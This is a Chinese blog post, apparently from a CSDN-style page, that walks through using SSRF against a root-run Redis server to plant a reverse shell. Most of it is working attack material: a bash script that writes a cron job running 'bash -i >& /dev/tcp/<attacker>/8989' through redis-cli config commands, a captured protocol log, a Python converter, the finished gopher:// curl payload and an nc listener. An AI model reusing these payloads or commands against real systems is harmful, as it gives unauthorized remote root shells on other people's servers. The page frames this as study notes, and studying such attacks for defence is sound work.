SSRF在Redis中反弹shell

搭个环境怪不容易的,求大佬们放过。。。

参考文献:https://joychou.org/web/phpssrf.html
https://www.anquanke.com/post/id/146417

SSRF概念

SSRF(Server-Side Request Forgery),服务端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。

利用 SSRF 实现的攻击:

对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
利用 file 协议读取本地文件

SSRF漏洞出现的场景

常见的危险函数:

 fsockopen()      file_get_contents()     curl_exec()
  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB,Redis)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
redis反弹shell

环境

centos xx.xxx.xx.xxx ,目标(需以root方式启动redis)
ubuntu xxx.xx.xxx.xx,攻击方

redis反弹shell的bash脚本

#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。CONFIG SET 命令动态地调整 Redis 服务器的配置,每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面,set直接往当前用户的crontab里写入反弹shell

执行脚本命令:

bash shell.sh xx.xxx.xx.xxx  6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。

socat -v tcp-listen:4444,fork tcp-connect:xx.xxx.xx.xxx :6379
bash xx.xxx.xx.xxx shell.sh 4444

意思是将本机的4444端口转发到本机的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。本应在socat那个命令下捕获到数据,但是阿里云的服务器是真的强,emmm因为端口问题一直没有成功。
这个是大佬的数据(抓不到比较难受)

> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148  length=5 from=0 to=4
+OK\r

引用的话还需转换:

如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

通过转换规则发现,如果要换IP和端口,前面的58更改下就行了,58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成xxx.xx.xxx.xx,那么58需要改成62,其他不变就行
转换脚本

python tran.py socat.log
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

结果为:

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

执行此命令

curl -v 'gopher://xx.xxx.xx.xxx
:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'

出现5个ok,则成功了。

本地监听8989端口

nc -l -p 8989
可能出现的问题:

①(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
原因:强制把redis快照关闭了导致不能持久化
解决方法:127.0.0.1:6379> config set stop-writes-on-bgsave-error no

②.save Error
日志(vi /var/log/redis/redis-server.log):Failed opening .rdb for saving: Read-only file system
emmm,找不到解决办法,有大佬知道的话请给我说下。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值